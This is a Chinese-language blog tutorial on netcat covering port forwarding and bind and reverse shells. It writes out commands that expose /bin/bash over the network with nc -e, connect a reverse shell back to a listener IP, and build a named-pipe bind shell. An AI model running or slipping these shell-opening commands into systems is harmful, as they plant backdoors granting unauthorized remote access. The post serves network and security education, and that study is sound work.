TCP/IP 瑞士軍刀 - netcat (篇二)

歡迎轉載,但請在開頭或結尾注明原文出處【blog.chaosjohn.com】

前言

昨日寫 TCP/IP 瑞士軍刀 - netcat (篇一) 的時候,翻閱了大量的資料,瀏覽器的標簽也都開滿了。所以趁大腦還依舊活躍,今天乘勝追擊寫個 篇二,仍然是以 GIF 動圖演示其案例。

補上篇

上篇里有提到,如果只用 netcat 進行端口轉發(fā),必須用到 GNU 版本(因其擁有 -c / -e 參數(shù)):

  • -c shell commands 調用 /bin/sh 來執(zhí)行命令
  • -e filename 通過程序文件路徑來執(zhí)行程序

上案例:

  • 遠端執(zhí)行 nc -l -k -p 8080 -c "nc 192.168.1.21 22",即可將 8080 端口轉發(fā)到 192.168.1.21:22
  • 本地執(zhí)行 ssh 10.144.137.114 -p 8080 即可測試轉發(fā)成功
GNU-netcat 端口轉發(fā)

反彈 Shell

netcat 在網(wǎng)絡應用中,很受黑客的喜愛,反彈 Shell 是其經(jīng)常使用的場景。

什么是 反彈 Shell 呢?給個一句話解釋:在目標機器上,彈一個 Shell 出來作為其后門,與本地機器進行通信,即 本地機器 可直接訪問 目標機器 的 Shell。

反彈 Shell 也分為兩種:

  • 正向 Shell,又名 bind shell
  • 反向 Shell,又名 reverse shell

因為要彈個 Shell 出來,所以一般都需要訪問到 Shell,/bin/sh/bin/bash/bin/zsh 都可以。既然用到外部 Shell 程序,那一般都是使用 GNU 版本的 netcat(用到其 -c / -e 參數(shù))

正向 Shell

先彈后連接,即讓 目標機器 先彈個 Shell,暴露在某端口,然后 本地機器 連接上 目標機器 該端口,即可訪問目標機器的 Shell。

  • 目標機器:nc -l -p 8080 -e /bin/bash
  • 本地機器:nc 10.144.137.114 8080
GNU netcat 彈正向 Shell

反向 Shell

先監(jiān)聽后連接,即 本地機器 先監(jiān)聽 目標機器 的某端口,如果 目標機器 在該端口彈出了 Shell,就可立即連接上。

  • 本地機器:nc -v -l -p 8080
  • 目標機器:nc 10.144.247.172 8080 -e /bin/bash
GNU netcat 彈反向 Shell

OpenBSD netcat 實現(xiàn)正向 Shell

那如果非要用 OpenBSD 版本的 netcat,搭配什么使用可以反彈 Shell 呢?這里筆者列舉一個列子 - 命名管道(named pipe),又名 FIFO,即 first in first out 先進先出。

  • 目標機器先執(zhí)行:mkfifo /tmp/pipe 創(chuàng)建一個命名管道
  • 目標機器再執(zhí)行:cat /tmp/pipe | /bin/bash 2>&1 | nc -l -p 8080 > /tmp/pipe 進行反彈 Shell
  • 本地機器執(zhí)行:nc 192.168.1.21 8080

命名管道stdout(標準輸出) 通過 "|" 流向 bash

2>&1 表示 bash 的 stderr(標準錯誤) 重定向到 stdout(標準輸出)

bashstdout(標準輸出) 通過 "|" 流向 目標機器的 nc

進而通過 TCP/UDP 連接 流向 本地機器的 nc 并顯示

本地機器 輸入的命令再通過 本地機器的 nc 流向 目標機器的 nc

目標機器的 nc 將接收到的命令輸入 命名管道

至此形成一個完整的循環(huán)

OpenBSD netcat 彈正向 Shell

寫在最后

本文演示了用 netcat 實現(xiàn) 端口轉發(fā)反彈 Shell,還有很多案例,等待讀者們去發(fā)掘!

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容